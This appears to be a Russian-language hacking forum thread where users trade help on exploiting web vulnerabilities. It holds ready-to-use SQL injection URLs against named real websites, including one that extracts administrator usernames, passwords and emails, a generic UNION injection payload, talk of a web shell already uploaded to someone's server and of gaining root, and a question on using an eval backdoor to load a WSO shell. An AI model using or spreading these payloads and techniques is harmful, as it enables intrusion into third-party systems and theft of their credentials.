Ваши вопросы по уязвимостям.

это значит что passwd Не каталог а файл, и тебе срочно надо курить книжку по linux. смекаешь?

http://0214.by/catalog.php?id=130+and+0+union+select+1,version(),3,4,5,6,7,8,9,10--+

внимательнее. смотри в тайтл

 

and 1
and 0

такая конструкция работает не во всех СУБД

лучше and 1=1 / and 1=0


для string (MySQL)

SELECT * FROM `products` WHERE 'antichat' (empty set)
SELECT * FROM `products` WHERE 'antichat'='antichat' (true)

 

Дело в том что я залил шелл в раздел banners, но не могу перейти ни в какой раздел кроме этого, так-как ограничены права. Я слышал что можно залить файл htaccess прописав что-то и другие папки будут иметь полные права. Так ли это или есть другие способы открыть полные права на другие разделы?

 

http://lakiauto.ee/templates/artikkel.php?KatID=100&ArtID=0%20union%20select%201,2,concat%280x3c696e6a5f646174613e,table_name,0x3c2f696e6a5f646174613e%29,4,5,6,7,8,9,10,11,12,13%20from%20information_schema.tables%20limit%2029,1

http://lakiauto.ee/templates/artikkel.php?KatID=100&ArtID=0%20union%20select%201,2,concat%28user,0x3a,pass,0x3a,email%29,4,5,6,7,8,9,10,11,12,13%20from%20zp_administrators%20limit%200,1

WTF?

 

ограниченные права на сервере? так как ты хочешь поднять права посредством .htaccces? тебе рутать надо а не htaccess заливать

читаем статью нолика. несколько раз.

 

Ограниченные а как можно поднять права?

 

тебе ж сказали, рутать

 

непойму, как юзать сплойты с http://www.exploit-db.com

 

конкретизируй свой вопрос.. там много разных сплоитов, на разных языках

 

Python:
./exploit.py -some key
C/C++
gcc –o exploit exploit.c #это очень грубый пример
читай про gcc компилятор

 

например, http://www.exploit-db.com/exploits/22766/

 

там просто SQLi через GET запрос и перечислены уязвимые переменные

 

покажи пример в пм)

 

можно линк? не могу найти...

 

Есть форма добавления объявления. Вставляю кавычку в пост запрос и получаю.

если делаю так '+order+by+2+--+ пишет -

Пробовал без кавычки определить кол-во полей, но Проблема в том, что после пост запроса подгружается другая страница, которая возникает при правильном запросе.
Что попробовать, как быть?

p.s. Корыстных целей не преследую, ресурс закрытый и направленности совсем не интересная широкой публике. Бага будет сдана сразу админу.

 

justonline, inj в insert, свои методы.
https://forum.antichat.ru/thread35207.html

 

точно) что-то мой пияный моск не сообразил, что тут запись а не select)

 

так там все расписано, какой еще пример?

ищешь сайт с уязыимым скрптом, подставляешь

Code:

сайт/[path]/view_faq.php?question=-4+AND+1=2+UNION+SELECT+0,1,2,version%28%29,4,5--

если показывает версию БД знач все пучком и можно крутить скулю дальше

 

из той же оперы? опять пост, но вот смущает Select, правда почему, интересно он выводится в ошибке...

 

Вопрос, как эксплуатировать бекдор eval ($_REQUEST['a']); ?

Попробовал на локалхосте выполнить http://localhost/test.php?a=http://test1/wso2_pack.php

выдает ошибку

соответственно бекдор прописан на 15 строчке